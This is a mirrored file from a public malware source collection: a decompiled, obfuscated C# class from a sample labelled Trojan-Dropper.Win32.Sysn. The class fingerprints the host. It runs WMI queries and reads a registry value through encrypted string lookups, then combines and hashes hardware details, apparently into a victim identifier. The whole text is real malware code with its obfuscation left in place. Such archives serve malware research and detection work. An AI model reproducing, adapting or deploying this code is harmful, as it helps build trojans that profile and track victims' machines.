mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
78 lines
2.8 KiB
C#
78 lines
2.8 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
||
|
||
using \u0001;
|
||
using \u000F;
|
||
using Microsoft.Win32;
|
||
using System;
|
||
using System.Management;
|
||
|
||
namespace \u000F
|
||
{
|
||
internal sealed class \u0006
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0002 \u0001;
|
||
|
||
public string \u000F() => this.\u0011() + (object) Convert.ToChar(32) + this.\u0012();
|
||
|
||
public string \u0010()
|
||
{
|
||
string str = (this.\u0013() + this.\u0015() + this.\u0014()).ToString();
|
||
return \u000F.\u0001.\u0001.\u0010(str);
|
||
}
|
||
|
||
private string \u0011()
|
||
{
|
||
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8468));
|
||
string empty = string.Empty;
|
||
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
||
empty = Convert.ToString(managementBaseObject[\u0006.\u0001(6866)]);
|
||
try
|
||
{
|
||
string str = empty.Split('|')[0];
|
||
int length = str.Split(' ')[0].Length;
|
||
return str.Substring(length).TrimStart().TrimEnd();
|
||
}
|
||
catch
|
||
{
|
||
return \u0006.\u0001(8517);
|
||
}
|
||
}
|
||
|
||
private string \u0012() => Registry.LocalMachine.OpenSubKey(\u0006.\u0001(8538)).GetValue(\u0006.\u0001(8603)).ToString().Contains(\u0006.\u0001(8620)) ? \u0006.\u0001(8625) : \u0006.\u0001(8638);
|
||
|
||
private string \u0013()
|
||
{
|
||
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8651));
|
||
string empty = string.Empty;
|
||
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
||
empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8724)]);
|
||
return empty;
|
||
}
|
||
|
||
private string \u0014()
|
||
{
|
||
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8741));
|
||
string empty = string.Empty;
|
||
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
||
empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8782)]);
|
||
return empty;
|
||
}
|
||
|
||
public string \u0015()
|
||
{
|
||
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8799));
|
||
string empty = string.Empty;
|
||
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
||
empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8848)]);
|
||
return empty;
|
||
}
|
||
|
||
static \u0006() => \u0003.\u000F();
|
||
}
|
||
}
|